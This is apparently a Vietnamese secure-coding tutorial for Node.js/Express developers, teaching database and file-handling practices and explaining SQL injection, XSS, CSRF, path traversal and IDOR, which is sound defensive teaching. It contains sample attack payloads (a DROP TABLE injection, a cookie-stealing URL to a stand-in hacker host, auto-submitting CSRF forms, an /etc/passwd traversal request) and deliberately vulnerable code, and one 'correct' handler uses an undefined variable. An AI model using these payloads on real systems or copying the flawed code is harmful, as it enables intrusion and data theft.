Những tài khoản mặc định, tài khoản không sử dụng cho nhu cầu về yêu cầu hệ thống cần được loại bỏ khỏi hệ thống.

Thực hiện đóng cơ sở dữ liệu nếu không còn truy cập.

Các chuỗi kết nối cơ sở dữ liệu cần được lưu trữ trong các file config riêng biệt và cần được mã hóa an toàn bằng các thuật toán mã hóa mạnh.

Tài khoản/mật khẩu truy cập cơ sở dữ liệu cần đủ mạnh, không sử dụng các thông tin mặc định hoặc dễ đoán.

Cơ sở dữ liệu cần chạy với user với quyền thấp nhât, được phân quyền rõ ràng và chỉ có thể truy cập tới cơ sở dữ liệu nhất định giúp ngăn chặn tấn công và khai thác dữ liệu của cơ sở dữ liệu khác.

Cần xác thực dữ liệu đầu vào trước khi thực hiện truyền vào câu truy vấn.

Sử dụng tham số cho câu lệnh truy vấn SQL giúp cho truy vấn và dữ liệu được tách biệt. Thay vì nối chuỗi trong truy vấn SQL, các tham số được truyền vào thông các biến. Việc này giúp chống lại lỗi SQL Injection khi người dùng truyền vào những dữ liệu độc hại.

Dưới đây là đoạn mã Nodejs sử dụng framework Express.js.

+ Chương trình đúng

const express = require('express'); 
const mysql = require('mysql'); 
const app = express(); 
const port = 3000; 
 
// Kết nối đến cơ sở dữ liệu 
const db = mysql.createConnection({ 
  host: 'localhost', 
  user: 'username', 
  password: 'password', 
  database: 'mydb' 
}); 
 
db.connect(err => {
  if (err) {
    console.error('Lỗi kết nối cơ sở dữ liệu:', err); return; 
  } 
  console.log('Đã kết nối đến cơ sở dữ liệu.'); 
}); 
 
app.use(express.json()); 
 
// Tạo sách mới 
app.post('/book', (req, res) => { 
  const { title, author } = req.body; 
  const query = 'INSERT INTO books (title, author) VALUES (?, ?)'; 
  db.query(query, [title, author], (err, result) => { 
    if (err) { 
      return res.status(500).json({ error: 'Có lỗi xảy ra.' }); 
    } 
    return res.status(201).json({ message: 'Đã tạo thành công.' }); 
  }); 
}); 
 
// Lấy danh sách
app.get('/book', (req, res) => { 
  const query = 'SELECT * FROM books where title = ?'; 
  db.query(query, [title],(err, result) => { 
    if (err) { 
      return res.status(500).json({ error: 'Có lỗi xảy ra.' }); 
    } 
    return res.status(200).json(result); 
  }); 
}); 
 
app.listen(port, () => {  console.log(`Server running ${port}`); });

Trong ví dụ trên, chúng ta sử dụng thư viện mysql để kết nối và thao tác với cơ sở dữ liệu MySQL. Để đảm bảo bảo mật trong truy vấn SQL, chúng ta sử dụng tham số cho câu lệnh truy vấn SQL . Điều này giúp ngăn chặn các cuộc tấn công SQL injection bằng cách tránh việc người dùng truyền vào những dữ liệu độc hại vào truy vấn SQL.

+ Chương trình sai

const express = require('express'); 
const mysql = require('mysql'); 
const app = express(); 
const port = 3000; 
 
// Kết nối đến cơ sở dữ liệu 
const db = mysql.createConnection({ 
 host: 'localhost', 
 user: 'username', 
 password: 'password', 
 database: 'mydb' 
}); 
 
db.connect(err => {
 if (err) {
   console.error('Lỗi kết nối cơ sở dữ liệu:', err); return; 
 } 
 console.log('Đã kết nối đến cơ sở dữ liệu.'); 
}); 
 
app.use(express.json()); 
 
// Tạo sách mới 
app.post('/book', (req, res) => { 
 const { title, author } = req.body; 
 const query = 'INSERT INTO books (title, author) VALUES (title, author)'; 
 db.query(query, (err, result) => { 
   if (err) { 
     return res.status(500).json({ error: 'Có lỗi xảy ra.' }); 
   } 
   return res.status(201).json({ message: 'Đã tạo thành công.' }); 
 }); 
}); 
 
// Lấy danh sách
app.get('/book', (req, res) => { 
 const query = 'SELECT * FROM books where title =' + title; 
 db.query(query, (err, result) => { 
   if (err) { 
     return res.status(500).json({ error: 'Có lỗi xảy ra.' }); 
   } 
   return res.status(200).json(result); 
 }); 
}); 

app.listen(port, () => {  console.log(`Server running ${port}`); });

Trong ví dụ trên, thay vì sử dụng  tham số truyền vào cho câu lệnh truy vấn SQL nhưng chúng ta đang nối chuỗi trong câu truy vấn SQL . Điều này sẽ bị các cuộc tấn công SQL injection.

File Management

Nên thực hiện phân quyền thư mục file là : read-only để tránh những sửa đổi trái phép từ kẻ tấn công

Không trả về đường dẫn tuyệt đối (Ví dụ: /var/www/html/uploads/test.jpg) vì kẻ tấn công có thể biết được đường dẫn tuyệt đối của website từ đó thực hiện tấn công các lỗ hổng khác. Chỉ trả về tên file hoặc đường dẫn thư mục chứa file (/uploads/test.jpg)

Không lưu trữ file cùng với server chạy dịch vụ web. Thực hiện lưu trữ file ở một server riêng biệt hoặc sử dụng dịch vụ lưu trữ file của bên thứ 3 như Amazon S3.

Giới hạn các loại file (header file) được phép upload lên server. Đối với các chức năng upload cần white list các file-header được upload phù hợp với yêu cầu về chức năng( Ví dụ: Chức năng upload avatar chỉ cho phép Content-type là: image/jpeg và image/png).

Yêu cầu xác thực trước khi cho người dùng có thể thực hiện upload. Việc xác thực người dùng giúp hạn chế việc upload trái phép các file độc hại cũng như phục vụ quá trình truy vết người dùng khi có tấn công xảy ra.

Giới hạn các loại file (extension file) được phép upload lên server. Đối với các chức năng upload cần white list các file được upload phù hợp với yêu cầu về chức năng( Ví dụ: Chức năng upload avatar chỉ cho phép: png và jpg).

Sử dụng trình quét virus để kiểm tra file người dùng upload. Việc này giúp loại bỏ các file độc hại, virus mà người dùng upload lên.

Dưới đây là đoạn mã Nodejs sử dụng framework Express.js.

+ Chương trình đúng

const express = require('express'); 
const fs = require('fs'); 
const path = require('path'); 
const app = express(); 
const port = 3000; 
 
app.use(express.json()); 
app.use(express.static('public')); 
 
// Tải xuống tệp tin 
app.get('/download/:filename', (req, res) => { 
 const requestedFile = req.params.filename; 
  if (!/^[a-zA-Z0-9._-]+$/.test(requestedFile)) { 
    return res.status(400).send('filename không hợp lệ'); 
  }
 
  const filePath = path.join(__dirname, 'uploads', requestedFile); 
  if (!fs.existsSync(filePath)) { 
    return res.status(404).json({ error: 'Tệp tin không tồn tại.' }); 
  } 
 
  const fileStream = fs.createReadStream(filePath); 
  res.setHeader('Content-Disposition', `attachment; filename=${requestedFile}`); 
  fileStream.pipe(res); 
});
 
app.listen(port, () => {  console.log(`Server running ${port}`); });

Trong ví dụ trên, khi tải xuống file, chúng ta sử dụng phương thức res.setHeader() để đặt tiêu đề “Content-Disposition” trong phản hồi HTTP. Điều này chỉ định rằng file sẽ được tải xuống dưới dạng tệp đính kèm với tên file chỉ định. Khi sử dụng tệp đính kèm như vậy, người dùng sẽ nhận được file mà không thể biết được đường dẫn tuyệt đối của nó trên máy chủ. Điều này giúp bảo vệ thông tin về cấu trúc hệ thống và ngăn chặn các cuộc tấn công dựa trên việc biết đường dẫn file tuyệt đối.

+ Chương trình sai

const express = require('express'); 
const fs = require('fs');
const path = require('path'); 
const app = express(); 
const port = 3000;
 
app.use(express.static('public'));
 
// Tải xuống tệp tin 
app.get('/download/:filename', (req, res) => { 
  const requestedFile = req.params.filename; 
  const filePath = path.join(__dirname, 'uploads', requestedFile); 
  if (!fs.existsSync(filePath)) { 
    return res.status(404).json({ error: 'Tệp tin không tồn tại.' }); 
  } 
 
  res.download(filePath, requestedFile, err => { 
    if (err) { 
      console.error('Lỗi khi tải xuống tệp tin:', err); 
      return res.status(500).json({ error: 'Có lỗi xảy ra.' }); 
    } 
  });
});

app.listen(port, () => {  console.log(`Server running ${port}`); });

Trong ví dụ trên sẽ trả về đường dẫn tuyệt đối của file.

Các lỗi tấn công phổ biến và cách phòng tránh

SQL Injection

SQL Injection là kỹ thuật lợi dụng lỗ hổng truy vấn của các ứng dụng. Nó được thực hiện bằng cách chèn một đoạn mã SQL nhằm làm sai lệch câu truy vấn ban đầu, từ đó có thể khai thác dữ liệu từ cơ sở dữ liệu, tạo lỗi hoặc làm hỏng dữ liệu của hệ thống.

Ví dụ: Chúng ta có 1 function như sau:

const getUserByUserName = (userName: string) => {

 const query = 'SELECT * FROM Users WHERE userName = ’ + userName;

 return query.excute();

}

Khi người dùng truyền userName = ‘abc’ or ‘1’=’1′ thì câu SQL sẽ như sau:

SELECT * FROM Users WHERE userName = 'abc' or '1'='1';

Với câu lệnh SQL này thì luôn luôn đúng và trả về tất cả thông tin trong bảng Users.

Trường hợp khác người dùng truyền userName = ‘abc’; DROP TABLE Users; câu lệnh SQL sẽ trông như thế này:

SELECT* FROM Users WHERE userName = 'abc';
DROP TABLE Users;

Với lệnh này, bảng Users sẽ bị xóa, và rất nguy hiểm.

Cách phòng tránh

  1. Kiểm tra đầu vào của người dùng: Có thể dùng Regular Expression để loại bỏ đi các ký tự lạ hoặc các ký tự không phải là số và chữ.
  2. Không cộng chuỗi để tạo SQL: Sử dụng tham số thay vì cộng chuỗi. Nếu dữ liệu nhập vào không hợp pháp thì SQL Engine sẽ tự động báo lỗi, ta không cần dùng code để kiểm tra.
  3. Hạn chế viết SQL thuần, nên sử dụng thư viện ORM (Object-Relational Mapping) framework, framework này sẽ tự tạo câu lệnh SQL nên sẽ an toàn hơn.

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) là một hình thức tấn công bằng mã độc phổ biến. Các hackers sẽ lợi dụng lỗ hổng trong bảo mật web để chèn các mã script để thực thi chúng ở phía Client. Thông thường, các cuộc tấn công XSS được sử dụng để vượt qua truy cập và mạo danh người dùng. Mục đích chính của cuộc tấn công này là đánh cắp dữ liệu nhận dạng của người dùng như: cookies, session tokens và các thông tin khác.

Có 3 loại tấn công XSS chính như sau:

  1. Reflected XSS
    • Là hình thức tấn công sử dụng mã script độc hại đến từ HTTP request. Từ đó, hackers đánh cắp dữ liệu của người dùng và chiếm quyền truy cập và hoạt động của họ trên website thông qua việc chia sẻ URL chứa mã độc.
    • Ví dụ:
      • Khi truy cập website, người dùng không biết hoặc vô tình click vào hình ảnh, quảng cáo có đường dẫn độc hại sau:
        http://user.com/name=var+i=new+Image;+i.src=”http://abc-hacker.com/”%2Bdocument.cookie;
      • Lúc này, hackers chỉ cần kiểm tra request gửi đến server của mình để nhận cookie của người dùng và sử dụng nó để chiếm đoạt phiên đăng nhập của người dùng.
      • Đặc điểm của loại XSS này là hackers phải gửi link chứa mã độc cho người dùng và lừa được người dùng truy cập vào link này. Mã độc sẽ được thực thi ngay khi người dùng truy cập link.
  2. Stored XSS
    • Là hình thức tấn công mà hackers chèn các mã độc vào cơ sở dữ liệu thông qua các dữ liệu đầu vào như input, textarea, form,… mà không được kiểm tra kỹ. Khi người dùng truy cập và tiến hành những thao tác liên quan đến dữ liệu đã lưu thì mã độc sẽ lập tức hoạt động trên trình duyệt.
  3. DOM-based XSS
    • Là nơi lỗ hổng bảo mật tồn tại trong mã phía client, chứ không phải mã phía server. Hình thức này dùng để khai thác XSS dựa vào việc thay đổi HTML của tài liệu, hay nói cách khác là thay đổi cấu trúc DOM.

Cách phòng tránh

  1. Data validation (xác định đầu vào): Đảm bảo dữ liệu đầu vào do người dùng cung cấp là chính xác.
  2. Filtering (lọc đầu vào người dùng): Phương pháp này giúp tìm ra những từ khóa nguy hiểm trong đầu vào của người dùng để kịp thời thay thế hoặc loại bỏ chúng.
  3. Escape: Đây là cách ngăn chặn XSS tương đối hiệu quả bằng cách thay đổi các ký tự bằng mã đặc biệt có thể sử dụng thư viện Escape thích hợp.

Cross-Site Request Forgery (CSRF)

Cross Site Request Forgery (CSRF ) là một cuộc tấn công buộc người dùng thực hiện các hành động không mong muốn trên một ứng dụng web mà họ hiện đang được xác thực. Với một chút trợ giúp của Social Engineering (còn gọi là tấn công phi kỹ thuật chẳng hạn như gửi liên kết qua email hoặc trò chuyện), kẻ tấn công có thể lừa người dùng ứng dụng web thực hiện các hành động do kẻ tấn công lựa chọn.

Ví dụ: user1 đã đăng nhập vào ngân hàng muốn chuyển tiền cho user2 là 1000$, user3 là người tấn công muốn user1 chuyển tiền cho mình thì sẽ như sau:

Nếu ứng dụng được thiết kế sử dụng yêu cầu GET để chuyển các tham số và thực hiện các hành động chuyển tiền thì một yêu cầu như:

 http://bank.com/transfer?account=user2&amount=1000

Bây giờ user3 quyết định khai thác lỗ hổng ứng dụng web này bằng cách sử dụng user1 làm nạn nhân. Trước tiên, user3 xây dựng URL khai thác sau đây sẽ chuyển 200.000$ từ tài khoản của user1 sang tài khoản của mình. user3 lấy URL lệnh ban đầu và thay thế tên người thụ hưởng bằng chính mình, đồng thời tăng số tiền chuyển khoản lên đáng kể như sau:

http://bank.com/transfer?account=user3&amount=200000

Sau đó user3 gửi một email không mong muốn với nội dung HTML hoặc đặt một URL trên các trang mà nạn nhân có thể truy cập khi họ cũng đang thực hiện giao dịch ngân hàng trực tuyến. URL khai thác có thể được ngụy trang dưới dạng một liên kết thông thường, khuyến khích nạn nhân nhấp vào liên kết đó:

<a href="http://bank.com/transfer.do?acct=user3&amount=200000">Click vào xem ảnh</a>
Hay như ảnh:
<img src="http://bank.com/transfer?account=user3&amount=200000" width="0" height="0" border="0">

Nếu thẻ hình ảnh này được bao gồm trong email, user1 sẽ không thấy gì cả. Tuy nhiên, trình duyệt sẽ vẫn gửi yêu cầu tới bank.com mà không có bất kỳ dấu hiệu trực quan nào cho thấy việc chuyển tiền đã diễn ra.

Trường hợp khác

Giả sử ngân hàng hiện đang sử dụng POST và yêu cầu dễ bị tấn công trông như thế này:

POST http://bank.com/transfer
account=user2&amount=1000

Yêu cầu như vậy không thể được gửi bằng thẻ <a> hoặc <img> tiêu chuẩn, nhưng có thể được gửi bằng thẻ <form> như sau:

<form action="http://bank.com/transfer" method="POST"> 
  <input type="hidden" name="account" value="user3"/>
  <input type="hidden" name="amount" value="200000"/>
  <input type="submit" value="submit"/>
</form>

Biểu mẫu này sẽ yêu cầu người dùng nhấp vào nút gửi, nhưng điều này cũng có thể được thực thi tự động bằng JavaScript:

<body onload="document.forms[0].submit()">
  <form action="http://bank.com/transfer" method="POST"> 
    <input type="hidden" name="account" value="user3"/>
    <input type="hidden" name="amount" value="200000"/>
    <input type="submit" value="submit"/>
  </form>
</body>

Cách phòng tránh

  • Phía user
    • Nên đăng xuất khỏi các website quan trọng như: Tài khoản ngân hàng, thanh toán trực tuyến, các mạng xã hội, gmail,… khi đã thực hiện xong giao dịch.
    • Không nên click vào các đường dẫn không rõ mà bạn nhận được qua email, facebook… hoặc mở xem các email lạ.
    • Không lưu các thông tin về mật khẩu tại trình duyệt của mình (không nên chọn các phương thức “đăng nhập lần sau”, “lưu mật khẩu”).
    • Trong quá trình thực hiện giao dịch hay vào các website quan trọng không nên vào các website khác, có thể chứa các mã khai thác của kẻ tấn công.
  • Phía server
    • Sử dụng GET và POST đúng cách. Dùng GET nếu thao tác là truy vấn dữ liệu. Dùng POST nếu các thao tác tạo ra sự thay đổi hệ thống. Nếu ứng dụng của bạn theo chuẩn RESTful, bạn có thể dùng thêm các HTTP verbs, như PATCH, PUT hoặc DELETE.
    • Captcha được sử dụng để nhận biết đối tượng đang thao tác với hệ thống là con người hay không. Các thao tác quan trọng như “đăng nhập” hay là “chuyển khoản” ,”thanh toán” thường là được sử dụng captcha.
    • Sử dụng cookie riêng biệt cho trang quản trị
    • Kiểm tra IP: Một số hệ thống quan trọng chỉ cho truy cập từ những IP được thiết lập sẵn

Path Traversal

Path traversal là một lỗ hổng web cho phép kẻ tấn công truy cập các file và thư mục được lưu trữ bên ngoài thư mục gốc của web, đọc các file không mong muốn trên server. Nó dẫn đến việc bị lộ thông tin nhạy cảm của ứng dụng như thông tin đăng nhập, một số file hoặc thư mục của hệ điều hành. Trong một số trường hợp cũng có thể ghi vào các files trên server, cho phép kẻ tấn công có thể thay đổi dữ liệu hay thậm chí là chiếm quyền điều khiển server.

Ví dụ:

Một ứng dụng load ảnh như sau:

<img src="/loadImage?filename=image-logo.png">

Khi chúng ta gửi một request với một param filename=image-logo.png thì sẽ trả về nội dung của file được chỉ định với file hình ảnh ở /var/www/images/image-logo.png

Lúc này ứng dụng không thực hiện việc phòng thủ cuộc tấn công path traversal, kẻ tấn công có thể thực hiện một yêu cầu tùy ý để có thể đọc các file trong hệ thống.

ví dụ:

https://hostname/loadImage?filename=../../../etc/passwd

Khi đó ứng dụng sẽ đọc file với đường dẫn là /var/www/images/../../../etc/passwd với mỗi ../ là trở về thư mục cha của thư mục hiện tại. Như vậy với ../../../ thì từ thư mục /var/www/images/ đã trở về thư mục gốc và file /etc/passwd chính là file được đọc.

Trên các hệ điều hành Linux thì /etc/passwd/ là một file chứa thông tin về các người dùng.

Sau khi đọc được file /etc/passwd/ nó sẽ trông như thế này

Ngoài file /etc/passwd/ này thì kẻ tấn công có thể thực hiện một yêu cầu tùy ý để có thể đọc các file và thư mục khác trong hệ thống.

Cách phòng tránh

  1. Nên xác thực đầu vào của người dùng trước khi xử lý.
  2. Không lưu trữ các file cấu hình nhạy cảm bên trong thư mục gốc của web.
  3. Sử dụng whitelist cho những giá trị được cho phép hoặc tên file là những kí tự số,chữ không nên chứa những ký tự đặc biệt.
  4. Về file có thể sử dụng Amazon S3 để lưu trữ và truy xuất.

Insecure Direct Object References (IDOR)

Insecure Direct Object References (IDOR) là lỗ hổng xảy ra khi chương trình cho phép người dùng truy trái phép các tài nguyên (dữ liệu, file, thư mục, database) một cách bất hợp pháp thông qua dữ liệu do người dùng cung cấp.

Ví dụ:

Trong mục “Quản lý đơn hàng”, URL của một đơn hàng sẽ có dạng như sau: http://shop.com/user/order/1. Server sẽ đọc ID = 1 từ URL, sau đó tìm đơn hàng có ID = 1 trong database và đổ dữ liệu vào HTML. Sau đó thay đổi ID = 1 thành một số khác, lúc này hệ thống đọc và hiển thị tất cả đơn hàng (kể cả đơn hàng của khách hàng khác).

Lỗ hổng ở đây chính là: chương trình cho phép truy cập tài nguyên (đơn hàng của người khác) bất hợp pháp, thông qua dữ liệu (ID) mà cung cấp qua URL. Lẽ ra, chương trình phải kiểm tra xem người dùng đó có quyền truy cập các dữ liệu này hay không.

Trong thực tế, hackers có thể dùng nhiều chiêu trò như: thay đổi URL, thay đổi param trong API, sử dụng tool để scan những tài nguyên không được bảo mật.

Cách phòng tránh

  1. Thiết lập phân quyền chặt chẽ người dùng
  2. Luôn luôn test cẩn thận ứng dụng
  3. Bảo vệ dữ liệu nhảy cảm như source code, config, database key, cần hạn chế truy cập. Cách tốt nhất là chỉ cho phép các IP nội bộ truy cập các dữ liệu này.

Kết luận

Việc sử dụng secure coding cho ứng dụng là một yếu tố không thể thiếu để đảm bảo an toàn và bảo mật. Bằng cách áp dụng những nguyên tắc và phương pháp secure coding giúp bạn ngăn chặn các lỗ hổng bảo mật xuất hiện từ giai đoạn đầu và giảm thiểu rủi ro trong tương lai. Xây dựng một ứng dụng đáng tin cậy và an toàn cho người dùng.

Tài liệu tham khảo

https://owasp.org/www-community/attacks/

https://owasp.org/www-pdf-archive/OWASP_SCP_Quick_Reference_Guide_v1.pdf

https://cwe.mitre.org/data/

https://www.websec.ca/kb/sql_injection

https://codedx.com/insecure-direct-object-references/

https://viblo.asia/s/secure-coding-for-developers-dbZN76EalYM